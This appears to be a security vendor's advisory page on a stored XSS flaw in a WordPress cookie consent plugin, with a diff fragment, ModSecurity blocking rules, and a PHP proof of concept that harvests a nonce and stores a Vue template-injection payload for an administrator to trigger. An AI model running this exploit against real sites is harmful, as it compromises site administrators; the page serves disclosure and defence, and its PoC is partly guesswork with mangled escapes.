 										<svg width="40" height="40" viewBox="0 0 50 50" fill="none" xmlns="http://www.w3.org/2000/svg"><g clip-path="url(#clip0_4634_793)"><path d="M14.1462 30.3445C11.8737 32.5765 13.7937 34.8685 10.7757 38.263C9.41368 39.7975 16.3827 39.3295 19.8342 35.9365C21.2997 34.495 20.8857 32.398 19.3152 30.853C17.7447 29.311 15.6102 28.903 14.1462 30.3445ZM39.3102 10.9885C38.1462 9.84253 25.2417 20.182 21.4017 23.9575C19.4952 25.8325 18.8592 26.8375 18.2757 27.5875C18.0207 27.916 18.3582 28.015 18.5067 28.0915C19.2627 28.4785 19.7907 28.8355 20.4732 29.506C21.1572 30.1765 21.5217 30.6955 21.9117 31.4395C21.9912 31.5865 22.0932 31.9165 22.4247 31.6675C23.1897 31.093 24.2112 30.466 26.1177 28.594C29.9592 24.82 40.4772 12.133 39.3102 10.9885Z" fill="currentColor"/></g><defs><clipPath id="clip0_4634_793"><rect width="30" height="30" fill="white" transform="translate(10 10)"/></clipPath></defs></svg>

 									</c-button>
@@ -5922,7 +5963,7 @@
 									></c-input>
 								</c-col>
 								<c-col class="col-sm-1">
-									<c-button :disabled="!cookie_accept_all_on1" class="gdpr-configure-button" :style="(accept_all_button_popup2 || accept_all_button_popup1) ? { backgroundColor: '#EAF4FF !important', color: '#2F80ED !important' } : {}" @click="openConfigurationPanel('accept_all_button_popup1')">
+									<c-button :disabled="!cookie_accept_all_on1" class="gdpr-configure-button" :style="(accept_all_button_popup1) ? { backgroundColor: '#EAF4FF !important', color: '#2F80ED !important' } : {}" @click="openConfigurationPanel('accept_all_button_popup1')">
 										<svg width="40" height="40" viewBox="0 0 50 50" fill="none" xmlns="http://www.w

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-129331
# Blocks unauthenticated stored XSS via Vue template injection in WPLP Cookie Consent data request form.
# The exploit requires the wpl_datarequest_name or wpl_datarequest_email parameter to contain curly braces.

SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:20261293,phase:2,deny,status:403,chain,msg:'CVE-2026-129331 via WPLP Cookie Consent AJAX data request',severity:'CRITICAL',tag:'CVE-2026-129331'"
  SecRule ARGS_POST:action "@streq wpl_data_request" "chain"
    SecRule ARGS_POST:form_data[wpl_datarequest_name] "@rx [{}]" "t:urlDecode,t:lowercase"

# Also check the email parameter for curly braces (defense in depth).
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:20261294,phase:2,deny,status:403,chain,msg:'CVE-2026-129331 via WPLP Cookie Consent AJAX data request (email)',severity:'CRITICAL',tag:'CVE-2026-129331'"
  SecRule ARGS_POST:action "@streq wpl_data_request" "chain"
    SecRule ARGS_POST:form_data[wpl_datarequest_email] "@rx [{}]" "t:urlDecode,t:lowercase"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-129331 - WPLP Cookie Consent <= 4.5.0 - Unauthenticated Stored XSS via Data Request Form 'wpl_datarequest_name' Parameter via Vue Template Injection

// This PoC demonstrates storing a Vue template injection payload in the data request form.
// The payload executes when an administrator views the Data Requests screen.

$target_url = 'http://wordpress.local'; // Change to your target WordPress site

// Step 1: Fetch the public DSAR page to harvest nonces.
// The shortcode renders a page with the form and embedded nonces.
$dsar_page = $target_url . '/data-request/'; // Adjust to the actual DSAR page slug
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $dsar_page);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$html = curl_exec($ch);
curl_close($ch);

if (!$html) {
    die("Failed to fetch DSAR page.n");
}

// Extract nonces from the page. The plugin typically uses wp_create_nonce and embeds them in a JS object or data attribute.
// Common patterns: 'nonce': 'abc123' or data-nonce="abc123". Adjust the regex to match the actual page.
$nonce = '';
if (preg_match('/"nonce"s*:s*"([a-f0-9]+)"/i', $html, $m)) {
    $nonce = $m[1];
} elseif (preg_match('/data-nonce="([a-f0-9]+)"/i', $html, $m)) {
    $nonce = $m[1];
}

if (empty($nonce)) {
    die("Could not extract AJAX nonce. The page structure may differ.n");
}

echo "Found nonce: $noncen";

// Step 2: Craft the Vue template injection payload.
// The payload uses Vue's template syntax to execute JavaScript.
// This particular payload uses the Function constructor to run alert(1).
$payload = '{{constructor.constructor("alert(1)")()}}';

// Step 3: Submit the data request via admin-ajax.php.
// The action name is likely 'wpl_data_request' or similar. Inspect the plugin JS to confirm.
// The form fields are nested under form_data[].
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
$post_fields = [
    'action' => 'wpl_data_request', // Replace with the actual action name from the plugin JS
    'nonce' => $nonce,
    'form_data[wpl_datarequest_name]' => $payload,
    'form_data[wpl_datarequest_email]' => 'attacker@example.com',
    'form_data[wpl_datarequest_access]' => '1', // At least one request type must be selected (post-patch requirement; pre-patch may not need it)
];

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_fields));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

echo "HTTP response code: $http_coden";
echo "Response: $responsen";

// If successful, the payload is stored. The administrator will trigger it upon viewing the Data Requests page.
echo "Payload submitted. When an admin visits Compliance Records -> Data Requests, the XSS will execute.n";
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.